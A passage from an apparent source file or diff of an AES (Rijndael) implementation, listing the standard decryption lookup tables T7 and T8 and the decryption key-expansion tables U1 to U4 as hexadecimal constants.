0xd8567d2c, 0xef223390, 0xc787494e, 0xc1d938d1, 0xfe8ccaa2, 0x3698d40b, 0xcfa6f581, 0x28a57ade, 0x26dab78e, 0xa43fadbf, 0xe42c3a9d, 0x0d507892, 0x9b6a5fcc, 0x62547e46, 0xc2f68d13, 0xe890d8b8, 0x5e2e39f7, 0xf582c3af, 0xbe9f5d80, 0x7c69d093, 0xa96fd52d, 0xb3cf2512, 0x3bc8ac99, 0xa710187d, 0x6ee89c63, 0x7bdb3bbb, 0x09cd2678, 0xf46e5918, 0x01ec9ab7, 0xa8834f9a, 0x65e6956e, 0x7eaaffe6, 0x0821bccf, 0xe6ef15e8, 0xd9bae79b, 0xce4a6f36, 0xd4ea9f09, 0xd629b07c, 0xaf31a4b2, 0x312a3f23, 0x30c6a594, 0xc035a266, 0x37744ebc, 0xa6fc82ca, 0xb0e090d0, 0x1533a7d8, 0x4af10498, 0xf741ecda, 0x0e7fcd50, 0x2f1791f6, 0x8d764dd6, 0x4d43efb0, 0x54ccaa4d, 0xdfe49604, 0xe39ed1b5, 0x1b4c6a88, 0xb8c12c1f, 0x7f466551, 0x049d5eea, 0x5d018c35, 0x73fa8774, 0x2efb0b41, 0x5ab3671d, 0x5292dbd2, 0x33e91056, 0x136dd647, 0x8c9ad761, 0x7a37a10c, 0x8e59f814, 0x89eb133c, 0xeecea927, 0x35b761c9, 0xede11ce5, 0x3c7a47b1, 0x599cd2df, 0x3f55f273, 0x791814ce, 0xbf73c737, 0xea53f7cd, 0x5b5ffdaa, 0x14df3d6f, 0x867844db, 0x81caaff3, 0x3eb968c4, 0x2c382434, 0x5fc2a340, 0x72161dc3, 0x0cbce225, 0x8b283c49, 0x41ff0d95, 0x7139a801, 0xde080cb3, 0x9cd8b4e4, 0x906456c1, 0x617bcb84, 0x70d532b6, 0x74486c5c, 0x42d0b857] + T7 = [0xa75051f4, 0x65537e41, 0xa4c31a17, 0x5e963a27, 0x6bcb3bab, 0x45f11f9d, 0x58abacfa, 0x03934be3, 0xfa552030, 0x6df6ad76, 0x769188cc, 0x4c25f502, 0xd7fc4fe5, 0xcbd7c52a, 0x44802635, 0xa38fb562, 0x5a49deb1, 0x1b6725ba, 0x0e9845ea, 0xc0e15dfe, 0x7502c32f, 0xf012814c, 0x97a38d46, 0xf9c66bd3, 0x5fe7038f, 0x9c951592, 0x7aebbf6d, 0x59da9552, 0x832dd4be, 0x21d35874, 0x692949e0, 0xc8448ec9, 0x896a75c2, 0x7978f48e, 0x3e6b9958, 0x71dd27b9, 0x4fb6bee1, 0xad17f088, 0xac66c920, 0x3ab47dce, 0x4a1863df, 0x3182e51a, 0x33609751, 0x7f456253, 0x77e0b164, 0xae84bb6b, 0xa01cfe81, 0x2b94f908, 0x68587048, 0xfd198f45, 0x6c8794de, 0xf8b7527b, 0xd323ab73, 0x02e2724b, 0x8f57e31f, 0xab2a6655, 0x2807b2eb, 0xc2032fb5, 0x7b9a86c5, 0x08a5d337, 0x87f23028, 0xa5b223bf, 0x6aba0203, 0x825ced16, 0x1c2b8acf, 0xb492a779, 0xf2f0f307, 0xe2a14e69, 0xf4cd65da, 0xbed50605, 0x621fd134, 0xfe8ac4a6, 0x539d342e, 0x55a0a2f3, 0xe132058a, 0xeb75a4f6, 0xec390b83, 0xefaa4060, 0x9f065e71, 0x1051bd6e, 0x8af93e21, 0x063d96dd, 0x05aedd3e, 0xbd464de6, 0x8db59154, 0x5d0571c4, 0xd46f0406, 0x15ff6050, 0xfb241998, 0xe997d6bd, 0x43cc8940, 0x9e7767d9, 0x42bdb0e8, 0x8b880789, 0x5b38e719, 0xeedb79c8, 0x0a47a17c, 0x0fe97c42, 0x1ec9f884, 0x00000000, 0x86830980, 0xed48322b, 0x70ac1e11, 0x724e6c5a, 0xfffbfd0e, 0x38560f85, 0xd51e3dae, 0x3927362d, 0xd9640a0f, 0xa621685c, 0x54d19b5b, 0x2e3a2436, 0x67b10c0a, 0xe70f9357, 0x96d2b4ee, 0x919e1b9b, 0xc54f80c0, 0x20a261dc, 0x4b695a77, 0x1a161c12, 0xba0ae293, 0x2ae5c0a0, 0xe0433c22, 0x171d121b, 0x0d0b0e09, 0xc7adf28b, 0xa8b92db6, 0xa9c8141e, 0x198557f1, 0x074caf75, 0xddbbee99, 0x60fda37f, 0x269ff701, 0xf5bc5c72, 0x3bc54466, 0x7e345bfb, 0x29768b43, 0xc6dccb23, 0xfc68b6ed, 0xf163b8e4, 0xdccad731, 0x85104263, 0x22401397, 0x112084c6, 0x247d854a, 0x3df8d2bb, 0x3211aef9, 0xa16dc729, 0x2f4b1d9e, 0x30f3dcb2, 0x52ec0d86, 0xe3d077c1, 0x166c2bb3, 0xb999a970, 0x48fa1194, 0x642247e9, 0x8cc4a8fc, 0x3f1aa0f0, 0x2cd8567d, 0x90ef2233, 0x4ec78749, 0xd1c1d938, 0xa2fe8cca, 0x0b3698d4, 0x81cfa6f5, 0xde28a57a, 0x8e26dab7, 0xbfa43fad, 0x9de42c3a, 0x920d5078, 0xcc9b6a5f, 0x4662547e, 0x13c2f68d, 0xb8e890d8, 0xf75e2e39, 0xaff582c3, 0x80be9f5d, 0x937c69d0, 0x2da96fd5, 0x12b3cf25, 0x993bc8ac, 0x7da71018, 0x636ee89c, 0xbb7bdb3b, 0x7809cd26, 0x18f46e59, 0xb701ec9a, 0x9aa8834f, 0x6e65e695, 0xe67eaaff, 0xcf0821bc, 0xe8e6ef15, 0x9bd9bae7, 0x36ce4a6f, 0x09d4ea9f, 0x7cd629b0, 0xb2af31a4, 0x23312a3f, 0x9430c6a5, 0x66c035a2, 0xbc37744e, 0xcaa6fc82, 0xd0b0e090, 0xd81533a7, 0x984af104, 0xdaf741ec, 0x500e7fcd, 0xf62f1791, 0xd68d764d, 0xb04d43ef, 0x4d54ccaa, 0x04dfe496, 0xb5e39ed1, 0x881b4c6a, 0x1fb8c12c, 0x517f4665, 0xea049d5e, 0x355d018c, 0x7473fa87, 0x412efb0b, 0x1d5ab367, 0xd25292db, 0x5633e910, 0x47136dd6, 0x618c9ad7, 0x0c7a37a1, 0x148e59f8, 0x3c89eb13, 0x27eecea9, 0xc935b761, 0xe5ede11c, 0xb13c7a47, 0xdf599cd2, 0x733f55f2, 0xce791814, 0x37bf73c7, 0xcdea53f7, 0xaa5b5ffd, 0x6f14df3d, 0xdb867844, 0xf381caaf, 0xc43eb968, 0x342c3824, 0x405fc2a3, 0xc372161d, 0x250cbce2, 0x498b283c, 0x9541ff0d, 0x017139a8, 0xb3de080c, 0xe49cd8b4, 0xc1906456, 0x84617bcb, 0xb670d532, 0x5c74486c, 0x5742d0b8] + T8 = [0xf4a75051, 0x4165537e, 0x17a4c31a, 0x275e963a, 0xab6bcb3b, 0x9d45f11f, 0xfa58abac, 0xe303934b, 0x30fa5520, 0x766df6ad, 0xcc769188, 0x024c25f5, 0xe5d7fc4f, 0x2acbd7c5, 0x35448026, 0x62a38fb5, 0xb15a49de, 0xba1b6725, 0xea0e9845, 0xfec0e15d, 0x2f7502c3, 0x4cf01281, 0x4697a38d, 0xd3f9c66b, 0x8f5fe703, 0x929c9515, 0x6d7aebbf, 0x5259da95, 0xbe832dd4, 0x7421d358, 0xe0692949, 0xc9c8448e, 0xc2896a75, 0x8e7978f4, 0x583e6b99, 0xb971dd27, 0xe14fb6be, 0x88ad17f0, 0x20ac66c9, 0xce3ab47d, 0xdf4a1863, 0x1a3182e5, 0x51336097, 0x537f4562, 0x6477e0b1, 0x6bae84bb, 0x81a01cfe, 0x082b94f9, 0x48685870, 0x45fd198f, 0xde6c8794, 0x7bf8b752, 0x73d323ab, 0x4b02e272, 0x1f8f57e3, 0x55ab2a66, 0xeb2807b2, 0xb5c2032f, 0xc57b9a86, 0x3708a5d3, 0x2887f230, 0xbfa5b223, 0x036aba02, 0x16825ced, 0xcf1c2b8a, 0x79b492a7, 0x07f2f0f3, 0x69e2a14e, 0xdaf4cd65, 0x05bed506, 0x34621fd1, 0xa6fe8ac4, 0x2e539d34, 0xf355a0a2, 0x8ae13205, 0xf6eb75a4, 0x83ec390b, 0x60efaa40, 0x719f065e, 0x6e1051bd, 0x218af93e, 0xdd063d96, 0x3e05aedd, 0xe6bd464d, 0x548db591, 0xc45d0571, 0x06d46f04, 0x5015ff60, 0x98fb2419, 0xbde997d6, 0x4043cc89, 0xd99e7767, 0xe842bdb0, 0x898b8807, 0x195b38e7, 0xc8eedb79, 0x7c0a47a1, 0x420fe97c, 0x841ec9f8, 0x00000000, 0x80868309, 0x2bed4832, 0x1170ac1e, 0x5a724e6c, 0x0efffbfd, 0x8538560f, 0xaed51e3d, 0x2d392736, 0x0fd9640a, 0x5ca62168, 0x5b54d19b, 0x362e3a24, 0x0a67b10c, 0x57e70f93, 0xee96d2b4, 0x9b919e1b, 0xc0c54f80, 0xdc20a261, 0x774b695a, 0x121a161c, 0x93ba0ae2, 0xa02ae5c0, 0x22e0433c, 0x1b171d12, 0x090d0b0e, 0x8bc7adf2, 0xb6a8b92d, 0x1ea9c814, 0xf1198557, 0x75074caf, 0x99ddbbee, 0x7f60fda3, 0x01269ff7, 0x72f5bc5c, 0x663bc544, 0xfb7e345b, 0x4329768b, 0x23c6dccb, 0xedfc68b6, 0xe4f163b8, 0x31dccad7, 0x63851042, 0x97224013, 0xc6112084, 0x4a247d85, 0xbb3df8d2, 0xf93211ae, 0x29a16dc7, 0x9e2f4b1d, 0xb230f3dc, 0x8652ec0d, 0xc1e3d077, 0xb3166c2b, 0x70b999a9, 0x9448fa11, 0xe9642247, 0xfc8cc4a8, 0xf03f1aa0, 0x7d2cd856, 0x3390ef22, 0x494ec787, 0x38d1c1d9, 0xcaa2fe8c, 0xd40b3698, 0xf581cfa6, 0x7ade28a5, 0xb78e26da, 0xadbfa43f, 0x3a9de42c, 0x78920d50, 0x5fcc9b6a, 0x7e466254, 0x8d13c2f6, 0xd8b8e890, 0x39f75e2e, 0xc3aff582, 0x5d80be9f, 0xd0937c69, 0xd52da96f, 0x2512b3cf, 0xac993bc8, 0x187da710, 0x9c636ee8, 0x3bbb7bdb, 0x267809cd, 0x5918f46e, 0x9ab701ec, 0x4f9aa883, 0x956e65e6, 0xffe67eaa, 0xbccf0821, 0x15e8e6ef, 0xe79bd9ba, 0x6f36ce4a, 0x9f09d4ea, 0xb07cd629, 0xa4b2af31, 0x3f23312a, 0xa59430c6, 0xa266c035, 0x4ebc3774, 0x82caa6fc, 0x90d0b0e0, 0xa7d81533, 0x04984af1, 0xecdaf741, 0xcd500e7f, 0x91f62f17, 0x4dd68d76, 0xefb04d43, 0xaa4d54cc, 0x9604dfe4, 0xd1b5e39e, 0x6a881b4c, 0x2c1fb8c1, 0x65517f46, 0x5eea049d, 0x8c355d01, 0x877473fa, 0x0b412efb, 0x671d5ab3, 0xdbd25292, 0x105633e9, 0xd647136d, 0xd7618c9a, 0xa10c7a37, 0xf8148e59, 0x133c89eb, 0xa927eece, 0x61c935b7, 0x1ce5ede1, 0x47b13c7a, 0xd2df599c, 0xf2733f55, 0x14ce7918, 0xc737bf73, 0xf7cdea53, 0xfdaa5b5f, 0x3d6f14df, 0x44db8678, 0xaff381ca, 0x68c43eb9, 0x24342c38, 0xa3405fc2, 0x1dc37216, 0xe2250cbc, 0x3c498b28, 0x0d9541ff, 0xa8017139, 0x0cb3de08, 0xb4e49cd8, 0x56c19064, 0xcb84617b, 0x32b670d5, 0x6c5c7448, 0xb85742d0] + + # Transformations for decryption key expansion + U1 = [0x00000000, 0x0e090d0b, 0x1c121a16, 0x121b171d, 0x3824342c, 0x362d3927, 0x24362e3a, 0x2a3f2331, 0x70486858, 0x7e416553, 0x6c5a724e, 0x62537f45, 0x486c5c74, 0x4665517f, 0x547e4662, 0x5a774b69, 0xe090d0b0, 0xee99ddbb, 0xfc82caa6, 0xf28bc7ad, 0xd8b4e49c, 0xd6bde997, 0xc4a6fe8a, 0xcaaff381, 0x90d8b8e8, 0x9ed1b5e3, 0x8ccaa2fe, 0x82c3aff5, 0xa8fc8cc4, 0xa6f581cf, 0xb4ee96d2, 0xbae79bd9, 0xdb3bbb7b, 0xd532b670, 0xc729a16d, 0xc920ac66, 0xe31f8f57, 0xed16825c, 0xff0d9541, 0xf104984a, 0xab73d323, 0xa57ade28, 0xb761c935, 0xb968c43e, 0x9357e70f, 0x9d5eea04, 0x8f45fd19, 0x814cf012, 0x3bab6bcb, 0x35a266c0, 0x27b971dd, 0x29b07cd6, 0x038f5fe7, 0x0d8652ec, 0x1f9d45f1, 0x119448fa, 0x4be30393, 0x45ea0e98, 0x57f11985, 0x59f8148e, 0x73c737bf, 0x7dce3ab4, 0x6fd52da9, 0x61dc20a2, 0xad766df6, 0xa37f60fd, 0xb16477e0, 0xbf6d7aeb, 0x955259da, 0x9b5b54d1, 0x894043cc, 0x87494ec7, 0xdd3e05ae, 0xd33708a5, 0xc12c1fb8, 0xcf2512b3, 0xe51a3182, 0xeb133c89, 0xf9082b94, 0xf701269f, 0x4de6bd46, 0x43efb04d, 0x51f4a750, 0x5ffdaa5b, 0x75c2896a, 0x7bcb8461, 0x69d0937c, 0x67d99e77, 0x3daed51e, 0x33a7d815, 0x21bccf08, 0x2fb5c203, 0x058ae132, 0x0b83ec39, 0x1998fb24, 0x1791f62f, 0x764dd68d, 0x7844db86, 0x6a5fcc9b, 0x6456c190, 0x4e69e2a1, 0x4060efaa, 0x527bf8b7, 0x5c72f5bc, 0x0605bed5, 0x080cb3de, 0x1a17a4c3, 0x141ea9c8, 0x3e218af9, 0x302887f2, 0x223390ef, 0x2c3a9de4, 0x96dd063d, 0x98d40b36, 0x8acf1c2b, 0x84c61120, 0xaef93211, 0xa0f03f1a, 0xb2eb2807, 0xbce2250c, 0xe6956e65, 0xe89c636e, 0xfa877473, 0xf48e7978, 0xdeb15a49, 0xd0b85742, 0xc2a3405f, 0xccaa4d54, 0x41ecdaf7, 0x4fe5d7fc, 0x5dfec0e1, 0x53f7cdea, 0x79c8eedb, 0x77c1e3d0, 0x65daf4cd, 0x6bd3f9c6, 0x31a4b2af, 0x3fadbfa4, 0x2db6a8b9, 0x23bfa5b2, 0x09808683, 0x07898b88, 0x15929c95, 0x1b9b919e, 0xa17c0a47, 0xaf75074c, 0xbd6e1051, 0xb3671d5a, 0x99583e6b, 0x97513360, 0x854a247d, 0x8b432976, 0xd134621f, 0xdf3d6f14, 0xcd267809, 0xc32f7502, 0xe9105633, 0xe7195b38, 0xf5024c25, 0xfb0b412e, 0x9ad7618c, 0x94de6c87, 0x86c57b9a, 0x88cc7691, 0xa2f355a0, 0xacfa58ab, 0xbee14fb6, 0xb0e842bd, 0xea9f09d4, 0xe49604df, 0xf68d13c2, 0xf8841ec9, 0xd2bb3df8, 0xdcb230f3, 0xcea927ee, 0xc0a02ae5, 0x7a47b13c, 0x744ebc37, 0x6655ab2a, 0x685ca621, 0x42638510, 0x4c6a881b, 0x5e719f06, 0x5078920d, 0x0a0fd964, 0x0406d46f, 0x161dc372, 0x1814ce79, 0x322bed48, 0x3c22e043, 0x2e39f75e, 0x2030fa55, 0xec9ab701, 0xe293ba0a, 0xf088ad17, 0xfe81a01c, 0xd4be832d, 0xdab78e26, 0xc8ac993b, 0xc6a59430, 0x9cd2df59, 0x92dbd252, 0x80c0c54f, 0x8ec9c844, 0xa4f6eb75, 0xaaffe67e, 0xb8e4f163, 0xb6edfc68, 0x0c0a67b1, 0x02036aba, 0x10187da7, 0x1e1170ac, 0x342e539d, 0x3a275e96, 0x283c498b, 0x26354480, 0x7c420fe9, 0x724b02e2, 0x605015ff, 0x6e5918f4, 0x44663bc5, 0x4a6f36ce, 0x587421d3, 0x567d2cd8, 0x37a10c7a, 0x39a80171, 0x2bb3166c, 0x25ba1b67, 0x0f853856, 0x018c355d, 0x13972240, 0x1d9e2f4b, 0x47e96422, 0x49e06929, 0x5bfb7e34, 0x55f2733f, 0x7fcd500e, 0x71c45d05, 0x63df4a18, 0x6dd64713, 0xd731dcca, 0xd938d1c1, 0xcb23c6dc, 0xc52acbd7, 0xef15e8e6, 0xe11ce5ed, 0xf307f2f0, 0xfd0efffb, 0xa779b492, 0xa970b999, 0xbb6bae84, 0xb562a38f, 0x9f5d80be, 0x91548db5, 0x834f9aa8, 0x8d4697a3] + U2 = [0x00000000, 0x0b0e090d, 0x161c121a, 0x1d121b17, 0x2c382434, 0x27362d39, 0x3a24362e, 0x312a3f23, 0x58704868, 0x537e4165, 0x4e6c5a72, 0x4562537f, 0x74486c5c, 0x7f466551, 0x62547e46, 0x695a774b, 0xb0e090d0, 0xbbee99dd, 0xa6fc82ca, 0xadf28bc7, 0x9cd8b4e4, 0x97d6bde9, 0x8ac4a6fe, 0x81caaff3, 0xe890d8b8, 0xe39ed1b5, 0xfe8ccaa2, 0xf582c3af, 0xc4a8fc8c, 0xcfa6f581, 0xd2b4ee96, 0xd9bae79b, 0x7bdb3bbb, 0x70d532b6, 0x6dc729a1, 0x66c920ac, 0x57e31f8f, 0x5ced1682, 0x41ff0d95, 0x4af10498, 0x23ab73d3, 0x28a57ade, 0x35b761c9, 0x3eb968c4, 0x0f9357e7, 0x049d5eea, 0x198f45fd, 0x12814cf0, 0xcb3bab6b, 0xc035a266, 0xdd27b971, 0xd629b07c, 0xe7038f5f, 0xec0d8652, 0xf11f9d45, 0xfa119448, 0x934be303, 0x9845ea0e, 0x8557f119, 0x8e59f814, 0xbf73c737, 0xb47dce3a, 0xa96fd52d, 0xa261dc20, 0xf6ad766d, 0xfda37f60, 0xe0b16477, 0xebbf6d7a, 0xda955259, 0xd19b5b54, 0xcc894043, 0xc787494e, 0xaedd3e05, 0xa5d33708, 0xb8c12c1f, 0xb3cf2512, 0x82e51a31, 0x89eb133c, 0x94f9082b, 0x9ff70126, 0x464de6bd, 0x4d43efb0, 0x5051f4a7, 0x5b5ffdaa, 0x6a75c289, 0x617bcb84, 0x7c69d093, 0x7767d99e, 0x1e3daed5, 0x1533a7d8, 0x0821bccf, 0x032fb5c2, 0x32058ae1, 0x390b83ec, 0x241998fb, 0x2f1791f6, 0x8d764dd6, 0x867844db, 0x9b6a5fcc, 0x906456c1, 0xa14e69e2, 0xaa4060ef, 0xb7527bf8, 0xbc5c72f5, 0xd50605be, 0xde080cb3, 0xc31a17a4, 0xc8141ea9, 0xf93e218a, 0xf2302887, 0xef223390, 0xe42c3a9d, 0x3d96dd06, 0x3698d40b, 0x2b8acf1c, 0x2084c611, 0x11aef932, 0x1aa0f03f, 0x07b2eb28, 0x0cbce225, 0x65e6956e, 0x6ee89c63, 0x73fa8774, 0x78f48e79, 0x49deb15a, 0x42d0b857, 0x5fc2a340, 0x54ccaa4d, 0xf741ecda, 0xfc4fe5d7, 0xe15dfec0, 0xea53f7cd, 0xdb79c8ee, 0xd077c1e3, 0xcd65daf4, 0xc66bd3f9, 0xaf31a4b2, 0xa43fadbf, 0xb92db6a8, 0xb223bfa5, 0x83098086, 0x8807898b, 0x9515929c, 0x9e1b9b91, 0x47a17c0a, 0x4caf7507, 0x51bd6e10, 0x5ab3671d, 0x6b99583e, 0x60975133, 0x7d854a24, 0x768b4329, 0x1fd13462, 0x14df3d6f, 0x09cd2678, 0x02c32f75, 0x33e91056, 0x38e7195b, 0x25f5024c, 0x2efb0b41, 0x8c9ad761, 0x8794de6c, 0x9a86c57b, 0x9188cc76, 0xa0a2f355, 0xabacfa58, 0xb6bee14f, 0xbdb0e842, 0xd4ea9f09, 0xdfe49604, 0xc2f68d13, 0xc9f8841e, 0xf8d2bb3d, 0xf3dcb230, 0xeecea927, 0xe5c0a02a, 0x3c7a47b1, 0x37744ebc, 0x2a6655ab, 0x21685ca6, 0x10426385, 0x1b4c6a88, 0x065e719f, 0x0d507892, 0x640a0fd9, 0x6f0406d4, 0x72161dc3, 0x791814ce, 0x48322bed, 0x433c22e0, 0x5e2e39f7, 0x552030fa, 0x01ec9ab7, 0x0ae293ba, 0x17f088ad, 0x1cfe81a0, 0x2dd4be83, 0x26dab78e, 0x3bc8ac99, 0x30c6a594, 0x599cd2df, 0x5292dbd2, 0x4f80c0c5, 0x448ec9c8, 0x75a4f6eb, 0x7eaaffe6, 0x63b8e4f1, 0x68b6edfc, 0xb10c0a67, 0xba02036a, 0xa710187d, 0xac1e1170, 0x9d342e53, 0x963a275e, 0x8b283c49, 0x80263544, 0xe97c420f, 0xe2724b02, 0xff605015, 0xf46e5918, 0xc544663b, 0xce4a6f36, 0xd3587421, 0xd8567d2c, 0x7a37a10c, 0x7139a801, 0x6c2bb316, 0x6725ba1b, 0x560f8538, 0x5d018c35, 0x40139722, 0x4b1d9e2f, 0x2247e964, 0x2949e069, 0x345bfb7e, 0x3f55f273, 0x0e7fcd50, 0x0571c45d, 0x1863df4a, 0x136dd647, 0xcad731dc, 0xc1d938d1, 0xdccb23c6, 0xd7c52acb, 0xe6ef15e8, 0xede11ce5, 0xf0f307f2, 0xfbfd0eff, 0x92a779b4, 0x99a970b9, 0x84bb6bae, 0x8fb562a3, 0xbe9f5d80, 0xb591548d, 0xa8834f9a, 0xa38d4697] + U3 = [0x00000000, 0x0d0b0e09, 0x1a161c12, 0x171d121b, 0x342c3824, 0x3927362d, 0x2e3a2436, 0x23312a3f, 0x68587048, 0x65537e41, 0x724e6c5a, 0x7f456253, 0x5c74486c, 0x517f4665, 0x4662547e, 0x4b695a77, 0xd0b0e090, 0xddbbee99, 0xcaa6fc82, 0xc7adf28b, 0xe49cd8b4, 0xe997d6bd, 0xfe8ac4a6, 0xf381caaf, 0xb8e890d8, 0xb5e39ed1, 0xa2fe8cca, 0xaff582c3, 0x8cc4a8fc, 0x81cfa6f5, 0x96d2b4ee, 0x9bd9bae7, 0xbb7bdb3b, 0xb670d532, 0xa16dc729, 0xac66c920, 0x8f57e31f, 0x825ced16, 0x9541ff0d, 0x984af104, 0xd323ab73, 0xde28a57a, 0xc935b761, 0xc43eb968, 0xe70f9357, 0xea049d5e, 0xfd198f45, 0xf012814c, 0x6bcb3bab, 0x66c035a2, 0x71dd27b9, 0x7cd629b0, 0x5fe7038f, 0x52ec0d86, 0x45f11f9d, 0x48fa1194, 0x03934be3, 0x0e9845ea, 0x198557f1, 0x148e59f8, 0x37bf73c7, 0x3ab47dce, 0x2da96fd5, 0x20a261dc, 0x6df6ad76, 0x60fda37f, 0x77e0b164, 0x7aebbf6d, 0x59da9552, 0x54d19b5b, 0x43cc8940, 0x4ec78749, 0x05aedd3e, 0x08a5d337, 0x1fb8c12c, 0x12b3cf25, 0x3182e51a, 0x3c89eb13, 0x2b94f908, 0x269ff701, 0xbd464de6, 0xb04d43ef, 0xa75051f4, 0xaa5b5ffd, 0x896a75c2, 0x84617bcb, 0x937c69d0, 0x9e7767d9, 0xd51e3dae, 0xd81533a7, 0xcf0821bc, 0xc2032fb5, 0xe132058a, 0xec390b83, 0xfb241998, 0xf62f1791, 0xd68d764d, 0xdb867844, 0xcc9b6a5f, 0xc1906456, 0xe2a14e69, 0xefaa4060, 0xf8b7527b, 0xf5bc5c72, 0xbed50605, 0xb3de080c, 0xa4c31a17, 0xa9c8141e, 0x8af93e21, 0x87f23028, 0x90ef2233, 0x9de42c3a, 0x063d96dd, 0x0b3698d4, 0x1c2b8acf, 0x112084c6, 0x3211aef9, 0x3f1aa0f0, 0x2807b2eb, 0x250cbce2, 0x6e65e695, 0x636ee89c, 0x7473fa87, 0x7978f48e, 0x5a49deb1, 0x5742d0b8, 0x405fc2a3, 0x4d54ccaa, 0xdaf741ec, 0xd7fc4fe5, 0xc0e15dfe, 0xcdea53f7, 0xeedb79c8, 0xe3d077c1, 0xf4cd65da, 0xf9c66bd3, 0xb2af31a4, 0xbfa43fad, 0xa8b92db6, 0xa5b223bf, 0x86830980, 0x8b880789, 0x9c951592, 0x919e1b9b, 0x0a47a17c, 0x074caf75, 0x1051bd6e, 0x1d5ab367, 0x3e6b9958, 0x33609751, 0x247d854a, 0x29768b43, 0x621fd134, 0x6f14df3d, 0x7809cd26, 0x7502c32f, 0x5633e910, 0x5b38e719, 0x4c25f502, 0x412efb0b, 0x618c9ad7, 0x6c8794de, 0x7b9a86c5, 0x769188cc, 0x55a0a2f3, 0x58abacfa, 0x4fb6bee1, 0x42bdb0e8, 0x09d4ea9f, 0x04dfe496, 0x13c2f68d, 0x1ec9f884, 0x3df8d2bb, 0x30f3dcb2, 0x27eecea9, 0x2ae5c0a0, 0xb13c7a47, 0xbc37744e, 0xab2a6655, 0xa621685c, 0x85104263, 0x881b4c6a, 0x9f065e71, 0x920d5078, 0xd9640a0f, 0xd46f0406, 0xc372161d, 0xce791814, 0xed48322b, 0xe0433c22, 0xf75e2e39, 0xfa552030, 0xb701ec9a, 0xba0ae293, 0xad17f088, 0xa01cfe81, 0x832dd4be, 0x8e26dab7, 0x993bc8ac, 0x9430c6a5, 0xdf599cd2, 0xd25292db, 0xc54f80c0, 0xc8448ec9, 0xeb75a4f6, 0xe67eaaff, 0xf163b8e4, 0xfc68b6ed, 0x67b10c0a, 0x6aba0203, 0x7da71018, 0x70ac1e11, 0x539d342e, 0x5e963a27, 0x498b283c, 0x44802635, 0x0fe97c42, 0x02e2724b, 0x15ff6050, 0x18f46e59, 0x3bc54466, 0x36ce4a6f, 0x21d35874, 0x2cd8567d, 0x0c7a37a1, 0x017139a8, 0x166c2bb3, 0x1b6725ba, 0x38560f85, 0x355d018c, 0x22401397, 0x2f4b1d9e, 0x642247e9, 0x692949e0, 0x7e345bfb, 0x733f55f2, 0x500e7fcd, 0x5d0571c4, 0x4a1863df, 0x47136dd6, 0xdccad731, 0xd1c1d938, 0xc6dccb23, 0xcbd7c52a, 0xe8e6ef15, 0xe5ede11c, 0xf2f0f307, 0xfffbfd0e, 0xb492a779, 0xb999a970, 0xae84bb6b, 0xa38fb562, 0x80be9f5d, 0x8db59154, 0x9aa8834f, 0x97a38d46] + U4 = [0x00000000, 0x090d0b0e, 0x121a161c, 0x1b171d12, 0x24342c38, 0x2d392736, 0x362e3a24, 0x3f23312a, 0x48685870, 0x4165537e, 0x5a724e6c, 0x537f4562, 0x6c5c7448, 0x65517f46, 0x7e466254, 0x774b695a, 0x90d0b0e0, 0x99ddbbee, 0x82caa6fc, 0x8bc7adf2, 0xb4e49cd8, 0xbde997d6, 0xa6fe8ac4, 0xaff381ca, 0xd8b8e890, 0xd1b5e39e, 0xcaa2fe8c, 0xc3aff582, 0xfc8cc4a8, 0xf581cfa6, 0xee96d2b4, 0xe79bd9ba, 0x3bbb7bdb, 0x32b670d5, 0x29a16dc7, 0x20ac66c9, 0x1f8f57e3, 0x16825ced, 0x0d9541ff, 0x04984af1, 0x73d323ab, 0x7ade28a5, 0x61c935b7, 0x68c43eb9, 0x57e70f93, 0x5eea049d, 0x45fd198f, 0x4cf01281, 0xab6bcb3b, 0xa266c035, 0xb971dd27, 0xb07cd629, 0x8f5fe703, 0x8652ec0d, 0x9d45f11f, 0x9448fa11, 0xe303934b, 0xea0e9845, 0xf1198557, 0xf8148e59, 0xc737bf73, 0xce3ab47d, 0xd52da96f, 0xdc20a261, 0x766df6ad, 0x7f60fda3, 0x6477e0b1, 0x6d7aebbf, 0x5259da95, 0x5b54d19b, 0x4043cc89, 0x494ec787, 0x3e05aedd, 0x3708a5d3, 0x2c1fb8c1, 0x2512b3cf, 0x1a3182e5, 0x133c89eb, 0x082b94f9, 0x01269ff7, 0xe6bd464d, 0xefb04d43, 0xf4a75051, 0xfdaa5b5f, 0xc2896a75, 0xcb84617b, 0xd0937c69, 0xd99e7767, 0xaed51e3d, 0xa7d81533, 0xbccf0821, 0xb5c2032f, 0x8ae13205, 0x83ec390b, 0x98fb2419, 0x91f62f17, 0x4dd68d76, 0x44db8678, 0x5fcc9b6a, 0x56c19064, 0x69e2a14e, 0x60efaa40, 0x7bf8b752, 0x72f5bc5c, 0x05bed506, 0x0cb3de08, 0x17a4c31a, 0x1ea9c814, 0x218af93e, 0x2887f230, 0x3390ef22, 0x3a9de42c, 0xdd063d96, 0xd40b3698, 0xcf1c2b8a, 0xc6112084, 0xf93211ae, 0xf03f1aa0, 0xeb2807b2, 0xe2250cbc, 0x956e65e6, 0x9c636ee8, 0x877473fa, 0x8e7978f4, 0xb15a49de, 0xb85742d0, 0xa3405fc2, 0xaa4d54cc, 0xecdaf741, 0xe5d7fc4f, 0xfec0e15d, 0xf7cdea53, 0xc8eedb79, 0xc1e3d077, 0xdaf4cd65, 0xd3f9c66b, 0xa4b2af31, 0xadbfa43f, 0xb6a8b92d, 0xbfa5b223, 0x80868309, 0x898b8807, 0x929c9515, 0x9b919e1b, 0x7c0a47a1, 0x75074caf, 0x6e1051bd, 0x671d5ab3, 0x583e6b99, 0x51336097, 0x4a247d85, 0x4329768b, 0x34621fd1, 0x3d6f14df, 0x267809cd, 0x2f7502c3, 0x105633e9, 0x195b38e7, 0x024c25f5, 0x0b412efb, 0xd7618c9a, 0xde6c8794, 0xc57b9a86, 0xcc769188, 0xf355a0a2, 0xfa58abac, 0xe14fb6be, 0xe842bdb0, 0x9f09d4ea, 0x9604dfe4, 0x8d13c2f6, 0x841ec9f8, 0xbb3df8d2, 0xb230f3dc, 0xa927eece, 0xa02ae5c0, 0x47b13c7a, 0x4ebc3774, 0x55ab2a66, 0x5ca62168, 0x63851042, 0x6a881b4c, 0x719f065e, 0x78920d50, 0x0fd9640a, 0x06d46f04, 0x1dc37216, 0x14ce7918, 0x2bed4832, 0x22e0433c, 0x39f75e2e, 0x30fa5520, 0x9ab701ec, 0x93ba0ae2, 0x88ad17f0, 0x81a01cfe, 0xbe832dd4, 0xb78e26da, 0xac993bc8, 0xa59430c6, 0xd2df599c, 0xdbd25292, 0xc0c54f80, 0xc9c8448e, 0xf6eb75a4, 0xffe67eaa, 0xe4f163b8, 